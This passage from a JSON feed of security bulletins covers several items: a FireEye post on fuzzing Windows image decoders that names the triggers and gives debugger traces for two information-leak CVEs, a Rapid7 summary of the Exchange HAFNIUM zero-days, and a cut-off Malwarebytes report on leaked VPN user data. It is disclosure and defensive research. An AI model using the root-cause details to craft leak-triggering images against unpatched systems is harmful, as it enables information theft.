https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901\n * https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "modified": "2021-03-03T22:12:19", "published": "2021-03-03T22:12:19", "id": "QUALYSBLOG:479A14480548534CBF2C80AFA3FFC840", "href": "https://blog.qualys.com/category/vulnerabilities-research", "type": "qualysblog", "title": "Microsoft Exchange Server Zero-Days \u2013 Automatically Discover, Prioritize and Remediate Using Qualys VMDR", "cvss": {"score": 0.0, "vector": "NONE"}}], "fedora": [{"lastseen": "2021-03-03T22:35:31", "bulletinFamily": "unix", "cvelist": ["CVE-2020-35518"], "description": "389 Directory Server is an LDAPv3 compliant server. The base package inclu des the LDAP server and command line utilities for server administration. ", "modified": "2021-03-03T21:06:31", "published": "2021-03-03T21:06:31", "id": "FEDORA:BF79C30AD409", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 34 Update: 389-ds-base-2.0.3-3.fc34", "cvss": {"score": 0.0, "vector": "NONE"}}], "fireeye": [{"lastseen": "2021-03-03T19:31:45", "bulletinFamily": "info", "cvelist": ["CVE-2014-1564", "CVE-2020-0853", "CVE-2020-1397"], "description": "Continuing our discussion of image parsing vulnerabilities in Windows, we take a look at a comparatively less popular vulnerability class: uninitialized memory. In this post, we will look at Windows\u2019 inbuilt image parsers\u2014specifically for vulnerabilities involving the use of uninitialized memory.\n\n#### The Vulnerability: Uninitialized Memory\n\nIn unmanaged languages, such as C or C++, variables are not initialized by default. Using uninitialized variables causes undefined behavior and may cause a crash. There are roughly two variants of uninitialized memory:\n\n * Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write. This may cause a crash.\n * Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary. An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure.\n\nIn this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript.\n\n#### Detecting Uninitialized Memory Vulnerabilities\n\nCompared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope. This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities. While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn\u2019t usually cause any crashes. Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind.\n\n#### Detour: Detecting Uninitialized Memory in Linux\n\nLet's take a little detour and look at detecting uninitialized memory in Linux and compare with Windows\u2019 built-in capabilities. Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time. For this, we can use a run-time detection mechanism. MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads. A sample of how it works is given in Figure 1.\n\n$ cat sample.cc \n#include &lt;stdio.h&gt;\n\nint main() \n{ \nint *arr = new int[10]; \nif(arr[3] == 0) \n{ \nprintf(\"Yay!\\n\"); \n} \nprintf(\"%08x\\n\", arr[3]); \nreturn 0; \n}\n\n$ clang++ -fsanitize=memory -fno-omit-frame-pointer -g sample.cc\n\n$ ./a.out \n==29745==WARNING: MemorySanitizer: use-of-uninitialized-value \n#0 0x496db8 (/home/dan/uni/a.out+0x496db8) \n#1 0x7f463c5f1bf6 (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) \n#2 0x41ad69 (/home/dan/uni/a.out+0x41ad69)\n\nSUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8) \nExiting \n \n--- \n \nFigure 1: MemorySanitizer detection of uninitialized memory\n\nSimilarly, Valgrind can also be used to detect uninitialized memory during run-time.\n\n#### Detecting Uninitialized Memory in Windows\n\nCompared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage. While Visual Studio and Clang-cl recently introduced [AddressSanitizer support](<https://devblogs.microsoft.com/cppblog/addresssanitizer-asan-for-windows-with-msvc/>), MemorySanitizer and other sanitizers are not implemented as of this writing.\n\nSome of the useful tools in Windows to detect memory corruption vulnerabilities such as [PageHeap](<https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-and-pageheap>) do not help in detecting uninitialized memory. On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized.\n\nThere are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others.\n\n#### Detecting Uninitialized Memory in Image Decoding\n\nDetecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code. One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded.\n\nWhen an image is decoded, it results in a set of raw pixels. If image decoding uses any uninitialized memory, some or all of the pixels may end up as random. In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used. This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders. An example fuzzing harness is presented in Figure 2.\n\n#define ROUNDS 20\n\nunsigned char* DecodeImage(char *imagePath) \n{ \nunsigned char *pixels = NULL; \n\n// use GDI or WIC to decode image and get the resulting pixels \n... \n... \n\nreturn pixels; \n}\n\nvoid Fuzz(char *imagePath) \n{ \nunsigned char *refPixels = DecodeImage(imagePath); \n\nif(refPixels != NULL) \n{ \nfor(int i = 0; i &lt; ROUNDS; i++) \n{ \nunsigned char *currPixels = DecodeImage(imagePath); \nif(!ComparePixels(refPixels, currPixels)) \n{ \n// the reference pixels and current pixels don't match \n// crash now to let the fuzzer know of this file \nCrashProgram(); \n} \nfree(currPixels); \n} \nfree(refPixels); \n} \n} \n \n--- \n \nFigure 2: Diff harness\n\nThe idea behind this fuzzing harness is not entirely new; previously, [lcamtuf](<https://lcamtuf.blogspot.com/2014/09/cve-2014-1564-uninitialized-memory-when.html>) used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences.\n\n#### Fuzzing\n\nWith the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses. Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage. Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll.\n\nNote that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap \u201cinitializes\u201d the heap allocations with patterns.\n\n#### Results\n\nDuring my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers. Two of them are explained in detail in the next sections. Root cause analysis of uninitialized memory usage is non-trivial. We don\u2019t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause\u2014or use clever tricks to find the deviation.\n\n### CVE-2020-0853\n\nLet\u2019s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability. For this we will use lcamtuf\u2019s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels.\n\n \nFigure 3: CVE-2020-0853\n\nAs we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory.\n\nTo identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively. Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions. \n\nAfter spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize. Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all. To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding. The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability.\n\n#### Allocation and Use of Uninitialized Memory\n\nwindowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4.\n\n0:000&gt; r \nrax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040 \nrdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000 \nrip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841 \nr8=000000ad23f6f890 r9=0000000000000010 r10=000002257a3db468 \nr11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040 \nr14=000002257a3dbf60 r15=0000000000000000 \niopl=0 nv up ei pl zr na po nc \ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 \nwindowscodecs!CFormatConverter::Initialize+0x1c8: \n00007ffa`f047a238 ff15ea081200 call qword ptr [windowscodecs!_imp_malloc (00007ffa`f059ab28)] ds:00007ffa`f059ab28={msvcrt!malloc (00007ffa`f70e9d30)} \n0:000&gt; k \n# Child-SP RetAddr Call Site \n00 000000ad`23f6f7c0 00007ffa`f047c5fb windowscodecs!CFormatConverter::Initialize+0x1c8 \n01 000000ad`23f6f890 00007ffa`f047c2f3 windowscodecs!CFormatConverter::Initialize+0x12b \n02 000000ad`23f6f980 00007ff6`34ca6dff windowscodecs!CFormatConverterResolver::Initialize+0x273\n\n//**Uninitialized memory after allocation**: \n0:000&gt; db @rax \n00000225`7a3dbf70 d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00 ..=z%...`$=z%... \n00000225`7a3dbf80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ \n00000225`7a3dbf90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ \n00000225`7a3dbfa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ \n00000225`7a3dbfb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ \n00000225`7a3dbfc0 00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03 ........dQ|&amp;.,.. \n00000225`7a3dbfd0 f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00 ../k%...../k%... \n00000225`7a3dbfe0 60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00 `.=z%...`.=z%... \n \n--- \n \nFigure 4: Allocation of memory\n\nThe memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions.\n\nAs there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace. A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer.\n\nThe UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images. In our PoC TIFF file, the BPS value is 0x09\u2014which is not supported by UnpackLine\u2014and the control flow never reaches a code path that writes to the buffer. This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data.\n\n#### Patch\n\nAfter presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid. This avoids all decoding and rejects the file in the very early phase of its loading.\n\n#### CVE-2020-1397\n\n \nFigure 5: Rendering of CVE-2020-1397\n\nUnlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5. One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs. This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs. For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values.\n\nDiffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value. Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause. The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs.\n\n#### Allocation\n\nwindowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6.\n\nwindowscodecs!TIFFReadBufferSetup: \n... \nallocBuff = malloc(size); \n*(v3 + 16) |= 0x200u; \n*(v3 + 480) = allocBuff;\n\n0:000&gt; k \n# Child-SP RetAddr Call Site \n00 000000aa`a654f128 00007ff9`4404d4f3 windowscodecs!TIFFReadBufferSetup \n01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0xab \n02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 \n03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 \n04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad \n05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a \n06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 \n07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b \n08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 \n09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5\n\nAfter allocation: \n0:000&gt; !heap -p -a @rax \naddress 0000029744382140 found in \n_HEAP @ 29735190000 \nHEAP_ENTRY Size Prev Flags UserPtr UserSize - state \n0000029744382130 0041 0000 [00] 0000029744382140 00400 - (busy) \nunknown!noop\n\n//**Uninitialized memory after allocation ** \n0:000&gt; db @rax \n00000297`44382140 40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac @|^.)]_.s1.p.O.. \n00000297`44382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..'..,. \n00000297`44382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%....&lt;....'.sA. \n00000297`44382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 .....&gt;.EL...r.!. \n00000297`44382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] \n00000297`44382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ....;...x....Maf \n00000297`443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected] \n00000297`443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&amp;(...R....4._o. \n \n--- \n \nFigure 6: Allocation of memory\n\n#### Partially Populating the Buffer\n\n0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1. The rest of the buffer remains uninitialized with random values, as shown in Figure 7.\n\nif ( !TIFFReadBufferSetup(v2, a2, stripCount) ) { \nreturn 0i64; \n} \nif ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, \"TIFFFillStrip\") != sizeToReadFromFile )\n\n0:000&gt; r \nrax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0 \nrdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010 \nrip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000 \nr8=0000000000000010 r9=00007ff94416fc38 r10=0000000000000000 \nr11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000 \nr14=0000029744377de0 r15=0000000000000001 \niopl=0 nv up ei pl nz na pe nc \ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 \nwindowscodecs!TIFFReadRawStrip1: \n00007ff9`4404d58c 488bc4 mov rax,rsp \n0:000&gt; k \n# Child-SP RetAddr Call Site \n00 000000aa`a654f128 00007ff9`4404d491 windowscodecs!TIFFReadRawStrip1 \n01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0x49 \n02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 \n03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 \n04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad \n05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a \n06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 \n07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b \n08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 \n09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5\n\n0:000&gt; db 00000297`44382140 \n00000297`44382140 5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c [..U*..o.-..X#.l // **0x10 bytes from file \n**00000297`44382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..'..,. // uninitialized memory \n00000297`44382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%....&lt;....'.sA. \n00000297`44382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 .....&gt;.EL...r.!. \n00000297`44382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] \n00000297`44382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ....;...x....Maf \n00000297`443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected] \n00000297`443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&amp;(...R....4._o. \n \n--- \n \nFigure 7: Partial population of memory\n\n#### Use of Uninitialized Memory\n\n0:000&gt; r \nrax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200 \nrdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000 \nrip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001 \nr8=0000029744382550 r9=0000000000000000 r10=0000000000000008 \nr11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003 \nr14=0000000023006c00 r15=00007ff94418bbb0 \niopl=0 nv up ei pl nz na po nc \ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 \nwindowscodecs!CCCITT::Expand2DLine+0x253: \n00007ff9`4414e837 0fb606 movzx eax,byte ptr [rsi] ds:00000297`44382150=06 ; **Uninitialized memory being accessed**\n\n0:000&gt; db 00000297`44382140 \n00000297`44382140 5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c [..U*..o.-..X#.l // **0x10 bytes from file \n**00000297`44382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..'..,. // uninitialized memory \n00000297`44382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%....&lt;....'.sA. \n00000297`44382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 .....&gt;.EL...r.!. \n00000297`44382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] \n00000297`44382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ....;...x....Maf \n00000297`443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected] \n00000297`443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&amp;(...R....4._o.\n\n0:000&gt; k \n# Child-SP RetAddr Call Site \n00 000000aa`a654f050 00007ff9`4414df80 windowscodecs!CCCITT::Expand2DLine+0x253 \n01 000000aa`a654f0d0 00007ff9`4412afcc windowscodecs!CCCITT::CCITT_Expand+0xac \n02 000000aa`a654f120 00007ff9`4404d3f0 windowscodecs!CCITTDecode+0x7c \n03 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8 \n04 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 \n05 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad \n06 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a \n07 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 \n08 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b \n09 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 \n0a 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 \n \n--- \n \nFigure 8: Reading of uninitialized value\n\nDepending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9.\n\n{ \n{ \nif ( v11 != 1 || a2 ) \n{ \nunintValue = *++allocBuffer | (unintValue &lt;&lt; 8); // uninit mem read \n} \nelse \n{ \nunintValue &lt;&lt;= 8; \n++allocBuffer; \n} \n\\--v11; \nv16 += 8; \n} \nv29 = unintValue &gt;&gt; (v16 - 8); \ndependentUninitValue = *(l + 2i64 * v29); \nv16 -= *(l + 2i64 * v29 + 1); \nif ( dependentUninitValue &gt;= 0 ) // path 1 \nbreak; \nif ( dependentUninitValue &lt; '\\xC0' ) \nreturn 0xFFFFFFFFi64; // path 2 \n} \nif ( dependentUninitValue &lt;= 0x3F ) // path xx \nbreak; \n--- \n \nFigure 9: Use of uninitialized memory in _if_ conditions\n\n#### Patch\n\nMicrosoft decided to patch this vulnerability by using calloc instead of malloc, which initializes the allocated memory with zeros.\n\n#### Conclusion\n\nPart Two of this blog series presents multiple vulnerabilities in Windows\u2019 built-in image parsers. In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more.\n", "modified": "2021-03-03T19:30:00", "published": "2021-03-03T19:30:00", "id": "FIREEYE:378138E74601CDF1A714585138CDFF3C", "href": "https://www.fireeye.com/blog/threat-research/2021/03/fuzzing-image-parsing-in-windows-uninitialized-memory.html", "type": "fireeye", "title": "Fuzzing Image Parsing in Windows, Part Two: Uninitialized Memory", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}], "rapid7blog": [{"lastseen": "2021-03-03T20:49:53", "bulletinFamily": "info", "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "description": "\n\nOn March 2, 2021, the Microsoft Threat Intelligence Center (MSTIC) [released details on an active state-sponsored threat campaign](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) exploiting four zero-day vulnerabilities in on-premises instances of Microsoft Exchange Server. MSTIC attributes this campaign to HAFNIUM, a group \u201cassessed to be state-sponsored and operating out of China.\u201d\n\nRapid7 detection and response teams [have also observed increased threat activity](<https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/>) against Microsoft Exchange Server since Feb. 27, 2021, and can confirm ongoing mass exploitation of vulnerable Exchange instances. Microsoft Exchange customers **should apply the latest updates on an emergency basis** and take immediate steps to harden their Exchange instances. We strongly recommend that organizations monitor closely for suspicious activity and indicators of compromise (IOCs) stemming from this campaign. Rapid7 has a comprehensive list of [IOCs available here](<https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/>).\n\nThe actively exploited zero-day vulnerabilities disclosed in the MSTIC announcement as part of the HAFNIUM-attributed threat campaign are:\n\n * **[CVE-2021-26855](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>)** is a server-side request forgery (SSRF) vulnerability in Exchange that allows an attacker to send arbitrary HTTP requests and authenticate as the Exchange server.\n * **[CVE-2021-26857](<https://attackerkb.com/topics/hx6O9H590s/cve-2021-26857?referrer=blog>)** is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gives an attacker the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.\n * **[CVE-2021-26858](<https://attackerkb.com/topics/TFFtD6XA8z/cve-2021-26858?referrer=blog>)** is a post-authentication arbitrary file write vulnerability in Exchange. If an attacker could authenticate with the Exchange server, they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n * **[CVE-2021-27065](<https://attackerkb.com/topics/lLMDUaeKSn/cve-2021-27065?referrer=blog>)** is a post-authentication arbitrary file write vulnerability in Exchange. An attacker who can authenticate with the Exchange server can use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n\nAlso included in the out-of-band update were three additional remote code execution vulnerabilities in Microsoft Exchange. These additional vulnerabilities are not known to be part of the HAFNIUM-attributed threat campaign but should be remediated with the same urgency nonetheless:\n\n * **[CVE-2021-26412](<https://attackerkb.com/topics/mgKIUMCadN/cve-2021-27078?referrer=blog>)** (CVSS:3.0 9.1 / 8.2)\n * **[CVE-2021-26854](<https://attackerkb.com/topics/KxXhEt74SK/cve-2021-26412?referrer=blog>)** (CVSS:3.0 6.6 / 5.8)\n * **[CVE-2021-27078](<https://attackerkb.com/topics/eIPBftle3R/cve-2021-26855?referrer=blog>)** (CVSS:3.0 9.1 / 8.2)\n\nMicrosoft has released out-of-band patches for all seven vulnerabilities as of March 2, 2021. Security updates are available for the following specific versions of Exchange:\n\n * Exchange Server 2010 (for Service Pack 3\u2014this is a Defense in Depth update)\n * Exchange Server 2013 (CU 23)\n * Exchange Server 2016 (CU 19, CU 18)\n * Exchange Server 2019 (CU 8, CU 7)\n\nExchange Online is not affected.\n\n## For Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to these vulnerabilities with authenticated vulnerability checks. Customers will need to perform a console restart after consuming the content update in order to scan for these vulnerabilities.\n\nInsightIDR will generate an alert if suspicious activity is detected in your environment. The Insight Agent must be installed on Exchange Servers to detect the attacker behaviors observed as part of this attack. If you have not already done so, [install the Insight Agent](<https://docs.rapid7.com/insight-agent/install/>) on your Exchange Servers.\n\nFor individual vulnerability analysis, [see AttackerKB](<https://attackerkb.com/topics/Sw8H0fbJ9O/multiple-microsoft-exchange-zero-day-vulnerabilities---hafnium-campaign?referrer=blog#rapid7-analysis>).", "modified": "2021-03-03T19:23:42", "published": "2021-03-03T19:23:42", "id": "RAPID7BLOG:6C0062981975551A3565CCAD248A1573", "href": "https://blog.rapid7.com/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/", "type": "rapid7blog", "title": "Mass Exploitation of Exchange Server Zero-Day CVEs: What You Need to Know", "cvss": {"score": 0.0, "vector": "NONE"}}], "malwarebytes": [{"lastseen": "2021-03-03T20:27:02", "bulletinFamily": "blog", "cvelist": [], "description": "Detailed credentials for more than 21 million mobile VPN app users were swiped and advertised for sale online last week, offered by a cyber thief who allegedly stole user data collected by the VPN apps themselves. The data includes email addresses, randomly generated password strings, payment information, and device IDs belonging to users of three VPN apps\u2014SuperVPN, GeckoVPN, and ChatVPN.\n\nThe attacks, which have not been confirmed by the VPN developers, represent the most recent privacy broadsides against the VPN industry. Two similar blunders have been revealed to the public since 2019, including one massive data leak that exposed several VPN apps\u2019 empty promises to collect \u201cno logs\u201d of their users\u2019 activity. In that data leak, not only did the VPN providers fail to live up to their words, but they also hoovered up additional data, including users\u2019 email addresses, clear text passwords, IP addresses, home addresses, phone models, and device IDs.\n\nFor the average consumer, then, the privacy pitfalls begin to paint an all-too-familiar portrait: Users continue to feel alone when managing their online privacy, even when they rely on tools meant to enhance that privacy.\n\nCybersecurity researcher Troy Hunt, [who wrote about the recent data leak on Twitter](<https://twitter.com/troyhunt/status/1366160363062878213>), called the entire issue \u201ca mess, and a timely reminder why trust in a VPN provider is so crucial.\u201d \n \nHe continued: \u201cThis level of logging isn&#x27;t what anyone expects when using a service designed to *improve* privacy, not to mention the fact they then leaked all the data.\u201d\n\n> So this is a mess, and a timely reminder of why trust in a VPN provider is so crucial. This level of logging isn&#x27;t what anyone expects when using a service designed to *improve* privacy, not to mention the fact they then leaked all the data. <https://t.co/xSPUDjbJhb>\n> \n> -- Troy Hunt (@troyhunt) [February 28, 2021](<https://twitter.com/troyhunt/status/1366160363062878213?ref_src=twsrc%5Etfw>)\n\n### **The data leak of SuperVPN, GeckoVPN, and ChatVPN**\n\nIn late February, a user on a popular hacking forum claimed that they\u2019d stolen account information and credentials belonging to the users of three, separate VPNs apps available on the Google Play store for Android: SuperVPN, GeckoVPN, and ChatVPN.\n\nThe three apps vary wildly in popularity. According to Google Play\u2019s count, ChatVPN has earned more than 50,000 installs, GeckoVPN has earned more than 10 million installs, and SuperVPN weighs in as one of the most popular free VPN apps for Android today, with more than 100 million installs to its name.\n\nDespite SuperVPN\u2019s popularity, it is also one of the most harshly reviewed VPN apps for Android devices. Last April, a writer for Tom\u2019s Guide found critical vulnerabilities in the app that so worried him that the review\u2019s headline directed current users to: \u201c[Delete it now](<https://www.tomsguide.com/news/vpn-puts-100-million-users-at-risk-delete-this-right-now>).\u201d And just one month later, a reviewer at TechRadarPro [said that SuperVPN had a \u201cworthless privacy policy\u201d](<https://www.techradar.com/reviews/supervpn-free-vpn-client>) that was cobbled together from other companies\u2019 privacy policies and which directly contradicted itself.\n\nNot more than one year later, that privacy policy has again been thrown into the spotlight with a data leak that calls into question just _what_ types of information the app was actually collecting.\n\nAccording to the thief who pilfered the information from SuperVPN, GeckoVPN, and ChatVPN, the data for sale includes email addresses, usernames, full names, country names, randomly generated password strings, payment-related data, and a user\u2019s 